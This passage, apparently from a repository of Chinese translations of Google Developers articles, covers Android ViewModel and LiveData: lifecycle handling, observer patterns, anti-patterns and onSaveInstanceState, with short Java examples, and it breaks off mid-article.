生命周期](https://developer.android.com/guide/components/activities/activity-lifecycle.html) 中有很多状态，并且由于配置更改，单个Activity可能会多次循环进入这些不同的状态。\n\n![](https://cdn-images-1.medium.com/max/800/1*CGGROXWhl8dTko1GdDeFsA.png)\n\nActivity 会经历所有这些状态，也可能需要把暂时的用户界面数据存储在内存中。这里将把临时UI数据定义为UI所需的数据。例子中包括用户输入的数据，运行时生成的数据或者是数据库加载的数据。这些数据可以是bitmap， RecyclerView 所需的对象列表等等，在这个例子中，是指篮球得分。\n\n以前你可能用过 [onRetainNonConfigurationInstance](https://developer.android.com/reference/android/app/Activity.html#onRetainNonConfigurationInstance%28%29) 方法在配置更改期间保存和恢复数据。但是，如果你的数据不需要知道或管理 Activity 所处的生命周期状态，这样写会不会导致代码过于冗杂？如果 Activity 中有一个像scoreTeamA 这样的变量，虽然与 Activity 生命周期紧密相连，但又存储在Activity之外的地方呢？**这就是 ViewModel 类的目的**。\n\n 在下面的图表中，可以看到一个 Activity 的生命周期，该 Activity 经历了一次旋转，最后被 finish 掉。 ViewModel 的生命周期显示在关联的Activity生命周期旁边。注意，ViewModels 可以很简单的用与Fragments 和 Activities,，这里称他们为 UI 控制器。本示例着重于 Activities。\n\n![](https://cdn-images-1.medium.com/max/800/1*3Kr2-5HE0TLZ4eqq8UQCkQ.png)\n\nViewModel从你首次请求创建ViewModel（通常在onCreate的Activity）时就存在，直到Activity完成并销毁。Activity 的生命周期中，onCreate可能会被调用多次，比如当应用程序被旋转时，但 ViewModel 会一直存在，不会被重建。\n\n### 一个简单的例子\n\n分三步骤来设置和使用ViewModel：\n\n1. 通过创建一个扩展 ViewModel 类来从UI控制器中分离出你的数据\n2. 建立你的 ViewModel 和UI控制器之间的通信\n3. 在 UI 控制器中使用你的 ViewModel\n\n#### 第一步: 创建 ViewModel 类\n\n一般来讲，需要为每个界面都创建一个ViewModel类。这个ViewModel类将保存与该屏相关的所有数据，提供 getter 和 setter。这样就将数据与 UI 显示逻辑分开了，UI逻辑在Activities 或 Fragments中，数据保存在 ViewModel 中。好了，接下来为 Court-Counter 中的一个屏创建ViewModel类：\n\n```\npublic class ScoreViewModel extends ViewModel {\n   // Tracks the score for Team A\n   public int scoreTeamA = 0;\n\n   // Tracks the score for Team B\n   public int scoreTeamB = 0;\n}\n```\n\n为了简洁，这里我采用了公共成员存储在ScoreViewModel.java中，也可以选择用 getter 和 setter 来更好地封装数据。\n\n#### 第二步:关联UI控制器和ViewModel\n\n你的UI控制器（Activity或Fragment）需要访问你的ViewModel。这样，UI控制器就可以在UI交互发生时显示和更新数据，例如按下按钮以增加 Court-Counter 中的分数。\n\nViewModels不应该持有 Activities ，Fragments  或者 [**Context**](https://developer.android.com/reference/android/content/Context.html) 的引用。\n\n此外，ViewModels也不应包含包含对UI控制器（如Views）引用的元素，因为这将创建对Context的间接引用。\n\n之所以不这样做是因为，ViewModel 比 UI控制器生命周期长，比如你旋转一个Activity三次，会得到三个不同的Activity实例，但ViewModel只有一个。\n\n基于这一点，我们来创建 UI控制器/ ViewMode l的关联。在UI控制器中将 ViewModel 创建为一个成员变量。然后在 onCreate中这样调用：\n\n```\nViewModelProviders.of(<Your UI controller>).get(<Your ViewModel>.class)\n```\n\n在 Court-Counter 例子中，会是这样：\n\n```\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n   super.onCreate(savedInstanceState);\n   setContentView(R.layout.activity_main);\n   mViewModel = ViewModelProviders.of(this).get(ScoreViewModel.class);\n   // Other setup code below...\n}\n```\n\n**注意:** 这里对 “no contexts in ViewModels” 规则有个例外。有时候你可能会需要一个 [**Application context**](https://developer.android.com/reference/android/content/Context.html#getApplicationContext%28%29)(as opposed to an Activity context) 调用系统服务。这种情况下在 ViewModel 中持有 Application context 是没问题的，因为 Application context 是存在于 App 整个生命周期的，这点与 Activity context 不同， Activity context  只存在与 Activity 的生命周期。事实上，如果你需要 Application context，最好继承 [**AndroidViewModel**](https://developer.android.com/reference/android/arch/lifecycle/AndroidViewModel.html) ，这是一个持有 Application 引用的 ViewModel。\n\n#### 第三步:在 UI 控制器中使用 ViewModel\n\n要访问或更改UI数据，可以使用ViewModel中的数据。下面是一个新的 onCreate 方法的示例，以及一个增加 team A 分数的方法：\n\n```\n// The finished onCreate method\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n   super.onCreate(savedInstanceState);\n   setContentView(R.layout.activity_main);\n   mViewModel = ViewModelProviders.of(this).get(ScoreViewModel.class);\n   displayForTeamA(mViewModel.scoreTeamA);\n   displayForTeamB(mViewModel.scoreTeamB);\n}\n\n// An example of both reading and writing to the ViewModel\npublic void addOneForTeamA(View v) {\n   mViewModel.scoreTeamA = mViewModel.scoreTeamA + 1;\n   displayForTeamA(mViewModel.scoreTeamA);\n}\n```\n\n**tips:** ViewModel 也可以很好地与另一个架构组件  [LiveData](https://developer.android.com/reference/android/arch/lifecycle/LiveData.html) 一起工作，在这个系列中我不会深入探索。使用LiveData 的额外好处是它是可观察的：它可以在数据改变时触发UI更新。可以在[这里](https://developer.android.com/topic/libraries/architecture/livedata.html)了解更多关于LiveData的信息。\n\n### 进一步审视 `ViewModelsProviders.of`\n\n第一次调用  [ViewModelProviders.of](https://developer.android.com/reference/android/arch/lifecycle/ViewModelProviders.html#of%28android.support.v4.app.Fragment%29)  方法是在 MainActivity 中，创建了一个新的 ViewModel 实例。每次调用 `onCreate` 方法都会再次调用这个方法。它会返回之前 Court-Counter MainActivity 中创建的 ViewModel。 这就是它持有数据的方式。\n\n只有给 UI controller 提供正确的UI控制器作为参数才可以。切记不要在 ViewModel 内存储 UI 控制器，ViewModel 会在后台跟踪 UI 控制器实例和 ViewModel 之间的关联。\n\n```\nViewModelProviders._of_(**<THIS ARGUMENT>**).get(ScoreViewModel.**class**);\n```\n\n这可以让你有一个应用程序，打开同一个 Activity or Fragment 的不同实例，但具有显示不同的 ViewModel 信息。让我们想象一下，如果我们扩展 Court-Counter 程序，使其可以支持不同的篮球比赛得分。比赛呈现在列表里，然后点击列表中的比赛就会开启一屏与 MainActivity 一样的画面，后面我就叫它 GameScoreActivity。\n\n对于你打开的每一个不同的比赛画面，在 onCreate 中关联ViewModel和GameScoreActivity 后，它将创建不同的 ViewModel 实例。旋转其中一个屏幕，则保持与同一个ViewModel的连接。\n\n![](https://cdn-images-1.medium.com/max/800/1*uQ6XDm4Ga14SJWlCb27rkg.png)\n\n所有这些逻辑都是通过调用 `ViewModelProviders.of(<Your UI controller>).get(<Your ViewModel>.class)` 实现的。 你只需要传递正确的UI 控制器实例就好。\n\n**最后的思考**：ViewModel非常好的把你的UI控制器代码与UI的数据分离出来。 这就是说，它并不是能完成数据持久化和保存App 状态的工作。 在下一篇文章中，我将探讨Activity生命周期与ViewModels之间的微妙交互，以及 ViewModel 与 onSaveInstanceState 进行比较。\n\n### 结论和进一步的学习\n\n在这篇文章中，我探索了新的ViewModel类的基础知识。关键要点是：\n\n- ViewModel类旨在一个连续的生命周期中保存和管理与UI相关的数据。这使得数据可以在屏幕旋转等配置变化的情况下得以保存。\n- ViewModels将UI实现与 App 数据分离开来。\n- 一般来说，如果某屏应用中有瞬态数据，则应该为该屏的数据创建一个单独的ViewModel。\n- ViewModel的生命周期从关联的UI控制器首次创建时开始，直到完全销毁。\n- 不要将UI控制器或 Context 直接或间接存储在ViewModel中。这包括在ViewModel中存储 View。对UI控制器的直接或间接引用违背了从数据中分离UI的目的，并可能导致内存泄漏。\n- ViewModel对象通常会存储LiveData对象，您可以在 [这里](https://developer.android.com/topic/libraries/architecture/livedata.html)了解更多。\n- [ViewModelProviders.of](https://developer.android.com/reference/android/arch/lifecycle/ViewModelProviders.html#of%28android.support.v4.app.Fragment%29)  方法通过作为参数传入的 UI控制器与 ViewModel 进行关联。\n\n想要了解更多 ViewModel 化的好处? 可以进一步阅读下面文章:\n\n*   [Instructions for adding the gradle dependencies](https://developer.android.com/topic/libraries/architecture/adding-components.html)\n*   [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) documentation\n*   Guided ViewModel practice with the [Lifecycles Codelab](https://codelabs.developers.google.com/codelabs/android-lifecycles/#0)\n\n架构组件是根据大家的反馈创建的。 如果你对 ViewModel 或任何架构组件有任何疑问或意见，请查看我们的  [反馈页面](https://developer.android.com/topic/libraries/architecture/feedback.html).。 有关这个系列的问题或建议？ 发表评论！\n\n感谢 [Mark Lu](https://medium.com/@marklu_44193?source=post_page), [Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_page), 以及 [Daniel Galpin](https://medium.com/@dagalpin?source=post_page).\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/viewmodels-and-livedata-patterns-antipatterns.md",
    "content": "> * 原文地址：[ViewModels and LiveData: Patterns + AntiPatterns](https://medium.com/google-developers/viewmodels-and-livedata-patterns-antipatterns-21efaef74a54)\n> * 原文作者：[Jose Alcérreca](https://medium.com/@JoseAlcerreca?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-and-livedata-patterns-antipatterns.md](https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-and-livedata-patterns-antipatterns.md)\n> * 译者：[boileryao](https://github.com/boileryao)\n> * 校对者：[Zhiw](https://github.com/Zhiw)  [miguoer](https://github.com/miguoer)\n\n# ViewModel 和 LiveData：为设计模式打 Call 还是唱反调？\n\n## View 层和 ViewModel 层\n\n### 分离职责\n\n![](https://cdn-images-1.medium.com/max/800/1*I9WPcnpGNuI4CjxxrkP0-g.png)\n\n*用 Architecture Components 构建的 APP 中实体的典型交互* \n\n理想情况下，ViewModel 不应该知道任何关于 Android 的事情（如Activity、Fragment）。 这样会大大改善可测试性，有利于模块化，并且能够减少内存泄漏的风险。一个通用的法则是，你的 ViewModel 中没有导入像 `android.*`这样的包（像 `android.arch.*` 这样的除外)。这个经验也同样适用于 MVP 模式中的 Presenter 。\n\n> ❌ 不要让 ViewModel（或Presenter）直接使用 Android 框架内的类\n\n条件语句、循环和一般的判定等语句应该在 ViewModel 或者应用程序的其他层中完成，而不是在 Activity 或 Fragment 里。视图层通常是没有经过单元测试的（除非你用上了  [Robolectric](http://robolectric.org/)），所以在里面写的代码越少越好。View 应该仅仅负责展示数据以及发送各种事件给 ViewModel 或 Presenter。这被称为 [ Passive _View_](https://martinfowler.com/eaaDev/PassiveScreen.html) 模式。（忧郁的 View，哈哈哈）\n\n> ✅ 保持 Activity 和 Fragment 中的逻辑代码最小化\n\n### ViewModel 中的 View 引用\n\n[ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) 的生命周期跟 Activity 和 Fragment 不一样。当 ViewModel 正在工作的时候，一个 Activity 可能处于自己 [生命周期](https://developer.android.com/guide/components/activities/activity-lifecycle.html) 的任何状态。 Activity 和 Fragment 可以被销毁并且重新创建， ViewModel 将对此一无所知。\n\n![](https://cdn-images-1.medium.com/max/800/1*86RjXnTJucJMkW4Xi4kUlA.png)\n\nViewModel 对配置的重新加载（比如屏幕旋转）具有“抗性” ↑\n\n把视图层（Activity 或 Fragment）的引用传递给 ViewModel 是有 **相当大的风险** 的。假设 ViewModel 从网络请求数据，然后由于某些问题，数据返回的时候已经沧海桑田了。这时候，ViewModel 引用的视图层可能已经被销毁或者不可见了。这将产生内存泄漏甚至引起崩溃。\n\n> ❌ 避免在 ViewModel 里持有视图层的引用\n\n推荐使用**观察者模式**作为 ViewModel 层和 View 层的通信方式，可以使用 LiveData 或者其他库中的 Observable 对象作为被观察者。\n\n### 观察者模式\n\n![](https://cdn-images-1.medium.com/max/800/1*hjvCDY_2W4PpK7HQoHsS2Q.png)\n\n一个很方便的设计 Android 应用中的展示层的方法是让视图层（Activity 或 Fragment）去观察 ViewModel 的变化。由于 ViewModel 对 Android 一无所知，它也就不知道 Android 是多么频繁的干掉视图层的小伙伴。这样有几个好处：\n\n1. ViewModel 在配置重新加载（比如屏幕旋转）的时候是不会变化的，所以没有必要从外部（比如网络和数据库）重新获取数据。\n2. 当耗时操作结束后，ViewModel 中的“被观察者”被更新，无论这些数据**当前**有没有观察者。这样不会有尝试直接更新不存在的视图的情况，也就不会有 `NullPointerException`。\n3. ViewModel 不持有视图层的引用，这大大减少了内存泄漏的风险。\n\n```\nprivate void subscribeToModel() {\n  // Observe product data\n  viewModel.getObservableProduct().observe(this, new Observer<Product>() {\n      @Override\n      public void onChanged(@Nullable Product product) {\n        mTitle.setText(product.title);\n      }\n  });\n}\n```\n\nActivity / Fragment 中的一个典型“订阅”案例。\n\n> ✅ 让 UI 观察数据的变化，而不是直接向 UI 推送数据\n\n## 臃肿的 ViewModel\n\n能减轻你的担心的主意一定是个好主意。如果你的 ViewModel 里代码太多、承担了太多职责，试着去：\n\n* 将一些代码移到一个和 ViewModel 具有相同生命周期的 Presenter。让 Presenter 来跟应用的其他部分进行沟通并更新 ViewModel 中持有的 LiveData。\n* 添加一个 Domain 层，使用 [Clean Architecture](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html) 架构。 这个架构很方便测试和维护，同时它也有助于快速的脱离主线程。 [Architecture Blueprints](https://github.com/googlesamples/android-architecture) 里面有关于 Clean Architecture 的示例。\n\n> ✅ 把代码职责分散出去。如果需要的话，加上一个 Domain 层。\n\n## 使用数据仓库（Data Repository）\n\n就像 [Guide to App Architecture（应用架构指南）](https://developer.android.com/topic/libraries/architecture/guide.html) 里说的那样，大多数 APP 有多个数据源，比如：\n\n1. 远程：网络、云端\n2. 本地：数据库、文件\n3. 内存中的缓存\n\n在应用中放一个数据层是一个好主意，数据层完全不关心展示层（`MVP` 中的 `P`）。由于保持缓存和数据库与网络同步的算法通常很琐碎复杂，所以建议为每个仓库创建一个类作为处理同步的单一入口。\n\n如果是许多种并且差别很大的数据模型，考虑使用多个数据仓库。\n\n> ✅  添加数据仓库作为数据访问的单一入口。\n\n## 关于数据状态\n\n考虑一下这种情况：你正在观察一个 ViewModel 暴露出来的 LiveData，它包含了一个待显示数据的列表。视图层该如何区分被加载的数据，网络错误和空列表呢？\n\n* 你可以从 ViewModel 中暴露出一个 `LiveData<MyDataState>` 。 `MyDataState` 可能包含数据是正在加载还是已经加载成功、失败的信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*Hj8ChdU7pakjcM3kxj_Fzg.png)\n\n可以将类中有状态和其他元数据（比如错误信息）的数据封装到一个类。参见示例代码中的 [Resource](https://developer.android.com/topic/libraries/architecture/guide.html#addendum) 类。\n\n> ✅ 使用一个包装类或者 LiveData 来暴露状态信息。\n\n## 保存 Activity 的状态\n\nActivity 的状态是指在 Activity 消失时重新创建屏幕内容所需的信息，Activity 消失意味着被销毁或进程被终止。旋转屏幕是最明显的情况，我们已经在 ViewModel 部分提到了。保存在 ViewModel 的状态是安全的。\n\n但是，你可能需要在其他 ViewModel 也消失的场景中恢复状态。例如，当操作系统因资源不足杀死进程时。\n\n为了高效地保存和恢复 UI 状态，组合使用 `onSaveInstanceState()` 和 ViewModel。\n\n这里有个示例：[ViewModels: Persistence, onSaveInstanceState(), Restoring UI State and Loaders](https://medium.com/google-developers/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders-fc7cc4a6c090)\n\n## 事件\n\n我们管只发生一次的操作叫做事件。 ViewModels 暴露数据，但对于事件怎么样呢？例如，导航事件或显示 Snackbar 消息等应该仅被执行一次的操作。\n\n事件的概念并不能和 LiveData 存取数据的方式完美匹配。来看下面这个从 ViewModel 中取出来的字段：\n\n```\nLiveData<String> snackbarMessage = new MutableLiveData<>();\n```\n\n一个 Activity 开始观察这个字段，ViewModel 完成了一个操作，所以需要更新消息：\n\n```\nsnackbarMessage.setValue(\"Item saved!\");\n```\n\n显然，Activity 接收到这个值后会显示出来一个 SnackBar。\n\n但是，如果用户旋转手机，则新的 Activity 被创建并开始观察这个字段。当对 LiveData 的观察开始时，Activity 会立即收到已经使用过的值，这将导致消息再次显示！\n\n在示例中，我们继承 LiveData 创建一个叫做 [SingleLiveEvent](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/SingleLiveEvent.java) 的类来解决这个问题。它仅仅发送发生在订阅后的更新，要注意的是这个类只支持一个观察者。\n\n> ✅ 使用像 [SingleLiveEvent](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/SingleLiveEvent.java) 这样的 observable 来处理导航栏或者 SnackBar 显示消息这样的情况\n\n## ViewModels 的泄漏问题\n\n响应式范例在 Android 中运行良好，它允许在 UI 和应用程序的其他层之间建立方便的联系。 LiveData 是这个架构的关键组件，因此通常你的 Activity 和 Fragment 会观察 LiveData 实例。\n\nViewModel 如何与其他组件进行通信取决于你，但要注意泄漏问题和边界情况。看下面这个图，其中 Presenter 层使用观察者模式，数据层使用回调：\n\n![](https://cdn-images-1.medium.com/max/800/1*0BaDp6eyWAEkUwmprKC9Rg.png)\n\n*UI 中的观察者模式和数据层中的回凋*\n\n如果用户退出 APP，视图就消失了所以 ViewModel 也没有观察者了。如果数据仓库是个单例或者是和 Application 的生命周期绑定的，**这个数据仓库在进程被杀掉之前都不会被销毁**。这只会发生在系统需要资源或用户手动杀死应用程序时，如果数据仓库在 ViewModel 中持有对回调的引用，ViewModel 将发生暂时的内存泄漏。\n\n![](https://cdn-images-1.medium.com/max/800/1*OYyXV-qPtgmAlbDjI640KA.png)\n\n*Activity 已经被销毁了但是 ViewModel 还在苟且*\n\n如果是一个轻量级 ViewModel 或可以保证操作快速完成，这个泄漏并不是什么大问题。但是，情况并不总是这样。理想情况下，ViewModels 在没有任何观察者的情况下不应该持有 ViewModel 的引用：\n\n![](https://cdn-images-1.medium.com/max/800/1*y1Zimc4SFMentSLsk6VCcQ.png)\n\n实现这种机制有很多方法：\n\n* **通过 ViewModel.onCleared()** 可以通知数据仓库丢掉对 ViewModel 的回凋。\n* 在数据仓库中可以使用 **WeakReference** 或者直接使用 **Event Bus**（二者都很容易被误用甚至可能会带来坏处）。\n* 使用 LiveData 在数据仓库和 ViewModel 中通信。就像 View 和 ViewModel 之间那样。\n\n> ✅ 考虑边界情况，泄漏以及长时间的操作会对架构中的实例带来哪些影响。\n\n> ❌ 不要将保存原始状态和数据相关的逻辑放在 ViewModel 中。任何从 ViewModel 所做的调用都可能是数据相关的。\n\n## 数据仓库中的 LiveData\n\n为了避免泄露 ViewModel 和回调地狱（嵌套的回凋形成的“箭头”代码），可以像这样观察数据仓库：\n\n![](https://cdn-images-1.medium.com/max/800/1*Ptw2Z3PyvOKCamvRHQsyCQ.png)\n\n当 ViewModel 被移除或者视图的生命周期结束，订阅被清除：\n\n![](https://cdn-images-1.medium.com/max/800/1*y1Zimc4SFMentSLsk6VCcQ.png)\n\n如果尝试这种方法，有个问题：如果无法访问 LifecycleOwner ，如何从 ViewModel 中订阅数据仓库呢？ 使用 [Transformations](https://developer.android.com/topic/libraries/architecture/livedata.html#transformations_of_livedata) 是个很简单的解决方法。 `Transformations.switchMap` 允许你创建响应其他 LiveData 实例的改变的 LiveData ，它还允许在调用链上传递观察者的生命周期信息：\n\n```\nLiveData<Repo> repo = Transformations.switchMap(repoIdLiveData, repoId -> {\n        if (repoId.isEmpty()) {\n            return AbsentLiveData.create();\n        }\n        return repository.loadRepo(repoId);\n    }\n);\n```\n\n在这个例子中，当触发器得到一个更新时，该函数被调用并且结果被分发到下游。 当一个 Activity 观察到`repo` 时，相同的 LifecycleOwner 将用于 `repository.loadRepo(id)` 调用。\n\n> ✅  当需要在 [ViewModel](https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html) 中需要 [Lifecycle](https://developer.android.com/reference/android/arch/lifecycle/Lifecycle.html) 对象时，使用 [Transformation](https://developer.android.com/topic/libraries/architecture/livedata.html#transformations_of_livedata) 可能是个好办法。\n\n## 继承 LiveData\n\nLiveData 最常见的用例是在 ViewModel 中使用 `MutableLiveData` 并且将它们暴露为 `LiveData` 来保证观察者不会改变他们。\n\n如果你需要更多功能，扩展 LiveData 会让你知道什么时候有活跃的观察者。例如，当想要开始监听位置或传感器服务时，这将很有用。\n\n```\npublic class MyLiveData extends LiveData<MyData> {\n\n    public MyLiveData(Context context) {\n        // Initialize service\n    }\n\n    @Override\n    protected void onActive() {\n        // Start listening\n    }\n\n    @Override\n    protected void onInactive() {\n        // Stop listening\n    }\n}\n```\n\n### 什么时候不该继承 LiveData\n\n使用 `onActive()` 来启动加载数据的服务是可以的，但是如果你没有一个很好的理由这样做的话就不要这样做，没有必要非得等到 LiveData 开始被观察才加载数据。一些通用的模式是这样的：\n\n* 为 ViewModel 添加 `start()` 方法，并尽早调用这个方法。 (参见[Blueprints example](https://github.com/googlesamples/android-architecture/blob/dev-todo-mvvm-live/todoapp/app/src/main/java/com/example/android/architecture/blueprints/todoapp/addedittask/AddEditTaskFragment.java#L64) )\n* 设置一个控制启动加载的属性 (参见 [GithubBrowserExample](https://github.com/googlesamples/android-architecture-components/blob/master/GithubBrowserSample/app/src/main/java/com/android/example/github/ui/repo/RepoFragment.java#L81) ）\n\n> ❌ 通常不用拓展 LiveData。可以让 Activity 或 Fragment 告诉 ViewModel 什么时候开始加载数据。\n\n[^是否需要关于 Architecture Component 的其他任何主题的指导（或意见）？留下评论！]:  \n\n感谢 [Lyla Fujiwara](https://medium.com/@lylalyla?source=post_page)、[Daniel Galpin](https://medium.com/@dagalpin?source=post_page)、[Wojtek Kaliciński](https://medium.com/@wkalicinski?source=post_page) 和 [Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_page)。\n\n----\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md",
    "content": "> * 原文地址：[ViewModels: Persistence, onSaveInstanceState(), Restoring UI State and Loaders](https://medium.com/google-developers/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders-fc7cc4a6c090)\n> * 原文作者：[Lyla Fujiwara](https://medium.com/@lylalyla?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md](https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-persistence-onsaveinstancestate-restoring-ui-state-and-loaders.md)\n> * 译者：[Feximin](https://github.com/Feximin/)\n\n# ViewModels: Persistence, onSaveInstanceState(), Restoring UI State and Loaders\n\n### 介绍\n\n我在[上篇博文](https://medium.com/google-developers/viewmodels-a-simple-example-ed5ac416317e)中用新的 [ViewModel](https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html) 类开发了一个简单的用例来保存配置更改过程中的篮球分数。ViewModel 被设计用来以与生命周期相关的方式保存和管理 UI 相关的数据。ViewModel 允许数据在例如屏幕旋转这样的配置更改后依然保留。\n\n现在，你可能会有几个问题是关于 ViewModel 到底能做什么。本文我将解答：\n\n* **ViewModel 是否对数据进行了持久化？** 简而言之，没有，还像平常那样去持久化。\n* **ViewModel 是** [**onSaveInstanceState**](https://developer.android.com/reference/android/app/Activity.html#onSaveInstanceState%28android.os.Bundle%29) **的替代品吗？** 简而言之，不是，但是他们不无关联，请继续读。\n* **我如何高效地使用 ViewModel 来保存和恢复 UI 状态？** 简而言之，你可以混合混合 ViewModels、 `onSaveInstanceState()`、本地持久化一起使用。\n* **ViewModel 是 Loader 的一个替代品吗？** 简而言之，对，ViewModel 结合其他几个类可以代替 Loader 使用。\n\n### 图模型是否对数据进行了持久化？\n\n**简而言之，没有。** 还像平常那样去持久化。\n\nViewModel 持有 **UI 中的临时数据**，但是他们不会进行持久化。一旦相关联的 UI 控制器（fragment/activity）被销毁或者进程停止了，ViewModel 和所有被包含的数据都将被垃圾回收机制标记。\n\n那些被多个应用共用的数据应该像正常那样通过 [本地数据库，Shared Preferences，和/或者云存储](https://developer.android.com/guide/topics/data/data-storage.html)被持久化。如果你想让用户在应用运行在后台三个小时候后再返回到与之前完全相同的状态，你也需要将数据持久化。这是因为一旦你的活动进入后台，此时如果你的设备运行在低内存的情况下，你的应用进程是可以被终止的。下面是 activity 类文档中的一个[手册表](https://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle)，它描述了在 activity 的哪个生命周期状态时你的应用是可被终止的：\n\n![](https://cdn-images-1.medium.com/max/800/1*OlXDJ7WENwiFBgOeKWjH7g.png)\n\n[Activity 生命周期文档](https://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle)\n\n在此提醒，如果一个应用进程由于资源限制而被终止的话，则不是正常终止并且没有额外的生命周期回调。这意味着你不能依赖于 [`onDestroy`](https://developer.android.com/reference/android/app/Activity.html#onDestroy%28%29) 调用。在进程终止的时候你**没有**机会持久化数据。因此如果你想最大可能的保持数据不丢失，你应该在用户一进入（activity）的时候就进行持久化。也就是说即便你的应用在由于资源限制而被终止或者设备电量用完了的时候数据也将会被保存下来。如果你允许在类似设备突然关机的情况下丢失数据，你可以在 ['onStop()']((https://developer.android.com/reference/android/app/Activity.html#onStop%28%29))回调的时候将其保存，这个方法在 activity 一进入后台的时候就会被调用。\n\n### ViewModel 是 onSaveInstanceState 的替代品吗？\n\n**简而言之，不是，** 但是他们不无关联，请继续读。\n\n理解 [`onSaveInstanceState()`](https://developer.android.com/reference/android/app/Activity.html#onSaveInstanceState%28android.os.Bundle,%20android.os.PersistableBundle%29) 和 [`Fragment.setRetainInstance(true)`](https://developer.android.com/reference/android/app/Fragment.html#setRetainInstance%28boolean%29) 二者之间的不同有助于理解了解这种差异的微妙之处。\n\n**onSaveInstanceState():** 这个回调是为了保存两种情况下的**少量** UI 相关的数据：\n\n* 应用的进程在后台的时候由于内存限制而被终止。\n* 配置更改。\n\n`onSaveInstanceState()` 是被系统在 activity [stopped](https://developer.android.com/reference/android/app/Activity.html#onStop%28%29) 但没有 [finished](https://developer.android.com/reference/android/app/Activity.html#finish%28%29) 时调用的，而**不是**在用户显式地关闭 activity 或者在其他情形而导致 [`finish()`](https://developer.android.com/reference/android/app/Activity.html#finish%28%29) 被调用的时候调用。\n\n注意，很多 UI 数据会自动地被保存和恢复：\n\n> “该方法的默认实现保存了关于 activity 的视图层次状态的临时信息，例如 [EditText](https://developer.android.com/reference/android/widget/EditText.html) 控件中的文本或者 [ListView](https://developer.android.com/reference/android/widget/ListView.html) 控件中的滚动条位置。” — [Saving and Restoring Instance State Documentation](https://developer.android.com/guide/components/activities/activity-lifecycle.html#saras)。\n\n这些也是很好的例子说明了 `onSaveInstanceState()` 方法中存储的数据的类型。`onSaveInstanceState()` [不是被设计](https://developer.android.com/guide/topics/resources/runtime-changes.html#RetainingAnObject)来存储类似 bitmap 这样的大的数据的。`onSaveInstanceState()` 方法被设计用来存储那些小的与 UI 相关的并且序列化或者反序列化不复杂的数据。如果被序列化的对象是复杂的话，序列化会消耗大量的内存。由于这一过程发生在主线程的配置更改期间，它需要快速处理才不会丢帧和引起视觉上的卡顿。\n\n**Fragment.setRetainInstance(true)**：[Handling Configuration Changes documentation](https://developer.android.com/guide/topics/resources/runtime-changes.html#RetainingAnObject) 描述了在配置更改期间的一个用来存储数据的进程使用了一个保留的 fragment。这听起来没有 `onSaveInstanceState()` 涵盖了配置更改和进程关闭两种情况那么有用。创建一个保留 fragment 的好处是这可以保存类似 image 那样的大型数据集或者网络连接那样的复杂对象。\n\n**ViewModel 只能在配置更改相关的销毁的情况下保留，而不能在被终止的进程中存留。** 这使 ViewModel 成为搭配 `setRetainInstance(true)`（实际上，ViewModel 在幕后使用了一个 fragment 并将 [setRetainInstance](https://developer.android.com/reference/android/app/Fragment.html#setRetainInstance%28boolean%29) 方法中的参数设置为 true） 一块使用的 fragment 的一种替代品。\n\n####  ViewModel 的其他好处\n\nViewModel 和 `onSaveInstanceState()` 在 UI 数据的存储方法上有很大差别。`onSaveInstanceState()` 是生命周期的一个回调函数，而 ViewModel 从根本上改变了 UI 数据在你的应用中的管理方式。下面是使用了 ViewModel 后比 `onSaveInstanceState()` 之外的更多的一些好处：\n\n*   **ViewModel 鼓励良好的架构设计。数据与 UI 代码分离**，这使代码更加模块化且简化了测试。\n*   `onSaveInstanceState()` 被设计用来存储少量的临时数据，而不是复杂的对象或者媒体数据列表。**一个 